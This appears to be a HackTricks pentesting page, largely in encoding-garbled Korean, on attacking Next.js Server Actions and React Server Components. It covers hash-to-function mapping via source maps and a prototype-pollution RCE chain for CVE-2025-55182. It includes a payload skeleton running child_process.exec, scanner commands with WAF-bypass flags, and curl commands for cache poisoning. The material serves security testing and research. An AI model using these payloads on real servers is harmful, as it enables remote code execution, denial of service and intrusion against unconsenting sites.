Next.js Server Actions ์ด๊ฑฐ (hash to function name via source maps)
์ต์ Next.js๋ ์๋ฒ์์ ์คํ๋์ง๋ง ํด๋ผ์ด์ธํธ์์ ํธ์ถ๋๋ โServer Actionsโ๋ฅผ ์ฌ์ฉํฉ๋๋ค. ์ด์ ํ๊ฒฝ์์๋ ์ด๋ฌํ ํธ์ถ๋ค์ด ๋ถํฌ๋ช
ํฉ๋๋ค: ๋ชจ๋ POST๋ ๊ณตํต ์๋ํฌ์ธํธ์ ๋์ฐฉํ๋ฉฐ Next-Action ํค๋์ ์ ์ก๋๋ ๋น๋๋ณ hash๋ก ๊ตฌ๋ถ๋ฉ๋๋ค. ์:
POST /
Next-Action: a9f8e2b4c7d1...
productionBrowserSourceMaps๊ฐ ํ์ฑํ๋์ด ์์ผ๋ฉด, minified JS chunks๋ createServerReference(...) ํธ์ถ์ ํฌํจํ๊ณ ์์ด, ์ถฉ๋ถํ ๊ตฌ์กฐ(๋ฐ ๊ด๋ จ ์์ค ๋งต)๋ฅผ leakํ์ฌ action ํด์์ ์๋ ํจ์ ์ด๋ฆ ๊ฐ์ ๋งคํ์ ๋ณต์ํ ์ ์์ต๋๋ค. ์ด๋ฅผ ํตํด Next-Action์์ ๊ด์ฐฐ๋ ํด์๋ฅผ deleteUserAccount()๋ exportFinancialData() ๊ฐ์ ๊ตฌ์ฒด์ ์ธ ๋์์ผ๋ก ๋ณํํ ์ ์์ต๋๋ค.
์ถ์ถ ์ ๊ทผ๋ฒ (regex on minified JS + optional source maps)
๋ค์ด๋ก๋ํ JS chunks์์ createServerReference๋ฅผ ๊ฒ์ํด ํด์์ ํจ์/์์ค ์ฌ๋ณผ์ ์ถ์ถํ์ธ์. ์ ์ฉํ ๋ ํจํด:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- ๊ทธ๋ฃน 1: ์๋ฒ ์ก์ hash (40+ hex chars)
- ๊ทธ๋ฃน 2: source map์ด ์กด์ฌํ ๋ ์ด๋ฅผ ํตํด ์๋ณธ ํจ์๋ก ํด์๋ ์ ์๋ symbol ๋๋ path
If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.
์ค์ ์ํฌํ๋ก์ฐ
- Passive discovery while browsing: capture requests with
Next-Actionheaders and JS chunk URLs. - Fetch the referenced JS bundles and accompanying
*.mapfiles (when present). - Run the regex above to build a hashโname dictionary.
- Use the dictionary to target testing:
- ์ด๋ฆ ๊ธฐ๋ฐ ๋ถ๋ฅ(์:
transferFunds,exportFinancialData). - ํจ์ ์ด๋ฆ์ผ๋ก ๋น๋ ๊ฐ ์ปค๋ฒ๋ฆฌ์ง ์ถ์ (hashes rotate across builds).
์จ๊ฒจ์ง ์ก์ ์คํ(ํ ํ๋ฆฟ ๊ธฐ๋ฐ ์์ฒญ)
Take a valid POST observed in-proxy as a template and swap the Next-Action value to target another discovered action:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Repeater์์ ์ฌ์ํ์ฌ ์ ๊ทผ ๋ถ๊ฐ๋ฅํ ์ก์ ๋ค์ ๊ถํ ๊ฒ์ฌ, ์ ๋ ฅ ๊ฒ์ฆ ๋ฐ ๋น์ฆ๋์ค ๋ก์ง์ ํ ์คํธํ์ธ์.
Burp automation
- NextjsServerActionAnalyzer (Burp extension) automates the above in Burp:
- ํ๋ก์ ํ์คํ ๋ฆฌ์์ JS ์ฒญํฌ๋ฅผ ์์งํ๊ณ ,
createServerReference(...)ํญ๋ชฉ์ ์ถ์ถํ๋ฉฐ ์์ค๋งต์ด ์์ผ๋ฉด ํ์ฑํฉ๋๋ค. - ๊ฒ์ ๊ฐ๋ฅํ hashโfunction-name ์ฌ์ ์ ์ ์งํ๊ณ ํจ์ ์ด๋ฆ์ผ๋ก ๋น๋ ๊ฐ ์ค๋ณต์ ์ ๊ฑฐํฉ๋๋ค.
- ์ ํจํ ํ ํ๋ฆฟ POST๋ฅผ ์ฐพ์ ๋์ ์ก์ ์ hash๋ฅผ ๊ต์ฒดํ ์ฑ ์ ์ก ์ค๋น๋ Repeater ํญ์ ์ฝ๋๋ค.
- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
Notes and limitations
productionBrowserSourceMaps๊ฐ ํ๋ก๋์ ์์ ํ์ฑํ๋์ด ์์ด์ผ ๋ฒ๋ค/์์ค๋งต์ผ๋ก๋ถํฐ ์ด๋ฆ์ ๋ณต๊ตฌํ ์ ์์ต๋๋ค.- ํจ์ ์ด๋ฆ ๊ณต๊ฐ ์์ฒด๋ง์ผ๋ก๋ ์ทจ์ฝ์ ์ด ์๋๋๋ค; ์ด๋ฅผ ์ด์ฉํด ํ์์ ์๋ดํ๊ณ ๊ฐ ์ก์ ์ ๊ถํ ๊ฒ์ฌ๋ฅผ ํ ์คํธํ์ธ์.
React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
Next.js App Router ๋ฐฐํฌ ์ค react-server-dom-webpack **19.0.0โ19.2.0 (Next.js 15.x/16.x)**์์ Server Actions๋ฅผ ๋
ธ์ถํ๋ฉด Flight ์ฒญํฌ ์ญ์ง๋ ฌํ ์ค์ ์ฌ๊ฐํ ์๋ฒ์ธก prototype pollution์ด ๋ฐ์ํฉ๋๋ค. Flight ํ์ด๋ก๋ ๋ด๋ถ์ $ ์ฐธ์กฐ๋ฅผ ์กฐ์ํ๋ฉด ๊ณต๊ฒฉ์๋ ์ค์ผ๋ ํ๋กํ ํ์
์์ ์์์ JavaScript ์คํ์ผ๋ก, ์ด์ด์ Node.js ํ๋ก์ธ์ค ๋ด์์ OS ๋ช
๋ น ์คํ์ผ๋ก ์ ํํ ์ ์์ต๋๋ค.
NodeJS - proto & prototype Pollution
Attack chain in Flight chunks
- Prototype pollution primitive:
"then": "$1:__proto__:then"๋ฅผ ์ค์ ํ๋ฉด resolver๊ฐObject.prototype์thenํจ์๋ฅผ ์์ฑํฉ๋๋ค. ๊ทธ ์ดํ์ ์ฒ๋ฆฌ๋๋ ์ด๋ค ์ผ๋ฐ ๊ฐ์ฒด๋ thenable์ด ๋์ด ๊ณต๊ฒฉ์๊ฐ RSC ๋ด๋ถ์ ๋น๋๊ธฐ ์ ์ด ํ๋ฆ์ ์ํฅ์ ์ค ์ ์์ต๋๋ค. - Rebinding to the global
Functionconstructor:_response._formData.get๋ฅผ"$1:constructor:constructor"๋ก ๊ฐ๋ฆฌํค๊ฒ ํฉ๋๋ค. ํด์ ๊ณผ์ ์์object.constructorโObject, ๊ทธ๋ฆฌ๊ณObject.constructorโFunction์ด๋ฏ๋ก ์ดํ์_formData.get()ํธ์ถ์ ์ค์ ๋กFunction(...)์ ์คํํฉ๋๋ค. - Code execution via
_prefix: JavaScript ์์ค๋ฅผ_response._prefix์ ๋ฃ์ต๋๋ค. ์ค์ผ๋_formData.get๊ฐ ํธ์ถ๋๋ฉด ํ๋ ์์ํฌ๊ฐFunction(_prefix)(...)์ ํ๊ฐํ๋ฏ๋ก ์ฃผ์ ๋ JS๋require('child_process').exec()๋๋ ๋ค๋ฅธ Node ์์ ๊ธฐ๋ฅ์ ์คํํ ์ ์์ต๋๋ค.
Payload skeleton
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
React Server Function ๋ ธ์ถ ๋งคํ
React Server Functions (RSF)๋ 'use server'; ์ง์๋ฌธ์ ํฌํจํ๋ ๋ชจ๋ ํจ์์
๋๋ค. ํด๋น ํจ์์ ๋ฐ์ธ๋ฉ๋ ๋ชจ๋ form action, mutation, ๋๋ fetch helper๋ RSC Flight endpoint๊ฐ ๋์ด ๊ณต๊ฒฉ์๊ฐ ์ ๊ณตํ payload๋ฅผ ๊ธฐ๊บผ์ด ์ญ์ง๋ ฌํํฉ๋๋ค. React2Shell ํ๊ฐ์์ ๋์ถ๋ ์ ์ฉํ recon ๋จ๊ณ:
- ์ ์ ์ธ๋ฒคํ ๋ฆฌ: ์ง์๋ฌธ์ ์ฐพ์ ํ๋ ์์ํฌ๊ฐ ์๋์ผ๋ก ๋ ธ์ถํ๋ RSF์ ์๋ฅผ ํ์ ํ์ธ์.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- App Router defaults:
create-next-app๋ ๊ธฐ๋ณธ์ ์ผ๋ก App Router์app/๋๋ ํฐ๋ฆฌ๋ฅผ ํ์ฑํํ๋ฉฐ, ์ด๋ก ์ธํด ๋ชจ๋ ๋ผ์ฐํธ๊ฐ ์กฐ์ฉํ RSC-capable endpoint๋ก ๋ฐ๋๋๋ค. App Router ์์ฐ(์:/_next/static/chunks/app/)์ด๋text/x-component๋ก Flight ์ฒญํฌ๋ฅผ ์คํธ๋ฆฌ๋ฐํ๋ ์๋ต์ ์ธํฐ๋ท์ ๋ ธ์ถ๋๋ ๊ฐํ ์ง๋ฌธ(fingerprint)์ ๋๋ค. - Implicitly vulnerable RSC deployments: React์ ์ด๋๋ฐ์ด์ ๋ฆฌ๋ RSC ๋ฐํ์์ ํฌํจํด ๋ฐฐํฌ๋๋ ์ฑ์ด ๋ช
์์ RSFs ์์ด๋ ์ทจ์ฝํ ์ ์๋ค๊ณ ์ธ๊ธํ๋ฏ๋ก,
react-server-dom-*19.0.0โ19.2.0์ ์ฌ์ฉํ๋ ๋ชจ๋ ๋น๋๋ฅผ ์์ฌ ๋์์ผ๋ก ์ทจ๊ธํ์ญ์์ค. - Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku ๋ฑ์ ๋์ผํ serializer๋ฅผ ์ฌ์ฌ์ฉํ๋ฉฐ, ํจ์น๋ React ๋น๋๋ฅผ ํฌํจํ ๋๊น์ง ๋์ผํ remote attack surface๋ฅผ ๋ฌผ๋ ค๋ฐ์ต๋๋ค.
Version coverage (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack: ์ทจ์ฝ โ 19.0.0, 19.1.0โ19.1.1 ๋ฐ 19.2.0; ํจ์น๋จ โ ๊ฐ๊ฐ 19.0.1, 19.1.2 ๋ฐ 19.2.1.- Next.js stable: App Router releases 15.0.0โ16.0.6๋ ์ทจ์ฝํ RSC ์คํ์ ํฌํจํฉ๋๋ค. ํจ์น ํธ๋ ์ธ 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7์๋ ์์ ๋ ์ข ์์ฑ์ด ํฌํจ๋์ด ์์ผ๋ฏ๋ก, ๊ทธ ๋ฒ์ ๋ค๋ณด๋ค ๋ฎ์ ๋น๋๋ ๋์ ๊ฐ์น๊ฐ ์์ต๋๋ค.
- Next.js canary:
14.3.0-canary.77+๋ ๋ฒ๊ทธ๊ฐ ์๋ ๋ฐํ์์ ํฌํจํ๋ฉฐ ํ์ฌ ํจ์น๋ canary ๋ฆด๋ฆฌ์ค๊ฐ ์์ด, ํด๋น ์ง๋ฌธ๋ค์ ๊ฐ๋ ฅํ ์ ์ฉ ํ๋ณด๊ฐ ๋ฉ๋๋ค.
Remote detection oracle
Assetnoteโs react2shell-scanner ๋ ์กฐ์๋ multipart Flight ์์ฒญ์ ํ๋ณด ๊ฒฝ๋ก๋ก ๋ณด๋ด๊ณ ์๋ฒ์ธก ๋์์ ๊ด์ฐฐํฉ๋๋ค:
- Default mode๋ ๊ฒฐ์ ๋ก ์ RCE payload(์ํ ์ฐ์ฐ์ด
X-Action-Redirect๋ก ๋ฐ์๋๋)๋ฅผ ์คํํ์ฌ ์ฝ๋ ์คํ์ ์ฆ๋ช ํฉ๋๋ค. --safe-checkmode๋ ์๋์ ์ผ๋ก Flight ๋ฉ์์ง๋ฅผ ๋น์ ์ํํ์ฌ ํจ์น๋ ์๋ฒ๋200/400์ ๋ฐํํ๋ ๋ฐ๋ฉด, ์ทจ์ฝํ ๋์์ ๋ฐ๋์E{"digest"๋ถ๋ถ ๋ฌธ์์ด์ ํฌํจํ๋HTTP/500์๋ต์ ๋ฐฉ์ถํฉ๋๋ค. ์ด(500 + digest)์์ ํ์ฌ ๋ฐฉ์ด์๋ค์ด ๊ณต๊ฐํ ๊ฐ์ฅ ์ ๋ขฐํ ์ ์๋ ์๊ฒฉ ์ค๋ผํด์ ๋๋ค.- ๋ด์ฅ๋
--waf-bypass,--vercel-waf-bypass, ๋ฐ--windows์ค์์น๋ payload ๋ ์ด์์์ ์กฐ์ ํ๊ณ , junk๋ฅผ ์์ ๋ถ์ด๊ฑฐ๋ OS ๋ช ๋ น์ ๊ต์ฒดํ์ฌ ์ค์ ์ธํฐ๋ท ์์ฐ์ probeํ ์ ์๊ฒ ํฉ๋๋ค.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
๊ธฐํ ์ต๊ทผ App Router ์ด์ (2025๋ ๋ง)
- RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) โ malformed Flight payloads can spin the RSC resolver into an infinite loop (pre-auth DoS) or force serialization of compiled Server Function code for other actions. App Router builds โฅ13.3 are affected until patched; 15.0.xโ16.0.x need the specific patch lines from the upstream advisory. Reuse the normal Server Action path but stream a
text/x-componentbody with abusive$references. Behind a CDN the hung connection is kept open by cache timeouts, making the DoS cheap.
- Triage tip: ๋ฏธํจ์น ๋์์ ์๋ชป๋ Flight ํ์ด๋ก๋ ํ
E{"digest"๋ฅผ ํฌํจํ500์ ๋ฐํํฉ๋๋ค; ํจ์น๋ ๋น๋๋400/200์ ๋ฐํํฉ๋๋ค. ์ด๋ฏธ Flight ์ฒญํฌ๋ฅผ ์คํธ๋ฆฌ๋ฐํ๋ ์๋ํฌ์ธํธ(Next-Actionํค๋ ๋๋text/x-component์๋ต์ ์ฐพ์ผ์ธ์)๋ฅผ ํ ์คํธํ๊ณ ์์ ๋ ํ์ด๋ก๋๋ก ์ฌ์ํ์ธ์.
- RSC cache poisoning (CVE-2025-49005, App Router 15.3.0โ15.3.2) โ missing
Varylet anAccept: text/x-componentresponse get cached and served to browsers expecting HTML. A single priming request can replace the page with raw RSC payloads. PoC flow:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head
If the second response returns JSON Flight data instead of HTML, the route is poisonable. ํ ์คํธ ํ ์บ์๋ฅผ ์ ๋ฆฌํ์ธ์.
References
- Pentesting Next.js Server Actions โ A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell โ All You Need to Know
- 0xdf โ HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
- assetnote/react2shell-scanner
- Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
- GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


